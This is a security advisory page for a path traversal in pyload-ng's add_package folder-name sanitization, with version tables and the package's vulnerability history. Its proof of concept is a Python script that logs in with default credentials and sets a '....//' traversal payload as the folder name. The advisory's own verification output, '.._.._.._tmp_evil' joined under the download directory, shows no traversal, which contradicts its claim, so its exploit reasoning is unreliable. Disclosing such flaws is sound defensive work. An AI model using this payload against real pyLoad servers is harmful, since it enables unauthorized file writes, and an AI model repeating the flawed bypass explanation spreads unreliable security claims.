Medium

PyLoad Vulnerable to Path Traversal via Package Folder Name

  • Disclosed: 05.05.2026
  • Updated: 11.10.2026 12:19

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

python
folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

bash
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

python
#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

python
import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Impact

Authenticated users with ADD permission can:

  • Write files outside the download directory
  • Potentially overwrite system files (depending on permissions)
  • Clutter system directories with downloaded content

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng < 0.5.0b3.dev100 0.5.0b3.dev100

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
05.05.2026
Updated
11.10.2026 12:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-128 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-97r3-5w84-r4q8 - CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  2. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. PyLoad Vulnerable to Path Traversal via Package Folder Name this entry
    Medium · 6.5 CVE-2026-42314 < 0.5.0b3.dev100 0.5.0b3.dev100
  5. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  6. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  7. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
Show more (13) Showing 20 of 33

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